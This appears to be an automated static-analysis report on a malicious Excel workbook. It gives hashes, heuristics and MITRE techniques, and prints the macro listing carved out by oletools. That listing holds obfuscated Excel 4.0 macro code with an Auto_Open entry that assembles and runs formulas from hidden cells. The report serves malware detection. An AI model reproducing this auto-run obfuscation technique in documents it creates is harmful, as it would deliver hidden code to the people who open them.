Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ec90a0a6d81b5175…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:35 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 0316b8828f24e702daf5b382672b55e1 SHA-1: 141cb1baf5702ac3d870d94bc0e121f80ebab5ce SHA-256: ec90a0a6d81b5175a9e580227765d22ce9a933ecf75808abd4da0ff8502cf80a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open function. This indicates that the macro will execute automatically when the workbook is opened, which is a common technique for delivering malicious payloads. The presence of dangerous formula APIs like RUN further increases the likelihood of malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6672 bytes
SHA-256: 0f614c30ac12cd32213b6197359f714bfa6e4c50b147e7ad5e351f35a59b1a68
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  lHzzueTVt
' 0018     26 LABEL : Cell Value, String Constant - aNUnOwPSksm len=0 
' 0018     24 LABEL : Cell Value, String Constant - aNwbDvnao len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B154 
' 0018     25 LABEL : Cell Value, String Constant - bEqTZwMSWH len=0 
' 0018     23 LABEL : Cell Value, String Constant - BfEPBAHF len=0 
' 0018     23 LABEL : Cell Value, String Constant - drkTEJmc len=0 
' 0018     26 LABEL : Cell Value, String Constant - gaZJOmyIZod len=0 
' 0018     21 LABEL : Cell Value, String Constant - IdjoFN len=0 
' 0018     21 LABEL : Cell Value, String Constant - JOOpMg len=0 
' 0018     27 LABEL : Cell Value, String Constant - kHOFnGyfYDMQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - nCwpmYb len=0 
' 0018     27 LABEL : Cell Value, String Constant - qywPLJKWgUEq len=0 
' 0018     24 LABEL : Cell Value, String Constant - SUeRhBgHo len=0 
' 0018     20 LABEL : Cell Value, String Constant - tjcQg len=0 
' 0018     22 LABEL : Cell Value, String Constant - ukRuTRm len=0 
' 0018     27 LABEL : Cell Value, String Constant - vAvMPllLTkto len=0 
' 0018     21 LABEL : Cell Value, String Constant - VCFmCf len=0 
' 0018     23 LABEL : Cell Value, String Constant - wcWZEaBj len=0 
' 0018     20 LABEL : Cell Value, String Constant - xquQl len=0 
' 0018     21 LABEL : Cell Value, String Constant - ynlGtE len=0 
' 0018     21 LABEL : Cell Value, String Constant - zgXRcc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  lHzzueTVt,B59,"SET.NAME("nCwpmYb",VALUE("0"))",""
'  lHzzueTVt,B64,"SET.NAME("xquQl",nCwpmYb)",""
'  lHzzueTVt,B67,"SET.NAME("IdjoFN",nCwpmYb)",""
'  lHzzueTVt,B71,"SET.NAME("tjcQg",COUNTA(wcWZEaBj))",""
'  lHzzueTVt,B76,"SET.NAME("ukRuTRm",COUNTA(BfEPBAHF))",""
'  lHzzueTVt,B80,[],""
'  lHzzueTVt,B84,"SET.NAME("kHOFnGyfYDMQ","")",""
'  lHzzueTVt,B87,"xquQl",""
'  lHzzueTVt,B91,"SET.NAME("zgXRcc",HLOOKUP("*",wcWZEaBj,xquQl,FALSE))",""
'  lHzzueTVt,B94,"gaZJOmyIZod",""
'  lHzzueTVt,B99,"SET.NAME("VCFmCf",nCwpmYb)",""
'  lHzzueTVt,B104,[],""
'  lHzzueTVt,B109,"VCFmCf",""
'  lHzzueTVt,B111,"bEqTZwMSWH",""
'  lHzzueTVt,B114,"SUeRhBgHo",""
'  lHzzueTVt,B117,"qywPLJKWgUEq",""
'  lHzzueTVt,B121,"SET.NAME("JOOpMg",VALUE(HLOOKUP("*",BfEPBAHF,qywPLJKWgUEq,FALSE)))",""
'  lHzzueTVt,B123,"aNUnOwPSksm",""
'  lHzzueTVt,B126,"kHOFnGyfYDMQ",""
'  lHzzueTVt,B129,"IdjoFN",""
'  lHzzueTVt,B133,NEXT(),""
'  lHzzueTVt,B137,"ynlGtE",""
'  lHzzueTVt,B140,"SET.NAME("f",INT(T(FORMULA(T(kHOFnGyfYDMQ)&"",""&T(ynlGtE)))))",""
'  lHzzueTVt,B143,"aNwbDvnao",""
'  lHzzueTVt,B148,NEXT(),""
'  lHzzueTVt,B151,RETURN(),""
'  lHzzueTVt,B175,"SET.NAME("vAvMPllLTkto",B59)",""
'  lHzzueTVt,B178,"wcWZEaBj",""
'  lHzzueTVt,B180,"SET.NAME("BfEPBAHF",R92C13)",""
'  lHzzueTVt,B184,"SET.NAME("aNwbDvnao",192)",""
'  lHzzueTVt,B186,"SET.NAME("drkTEJmc",2)",""
'  lHzzueTVt,B191,vAvMPllLTkto(),""
'  lHzzueTVt,B192,HALT(),""

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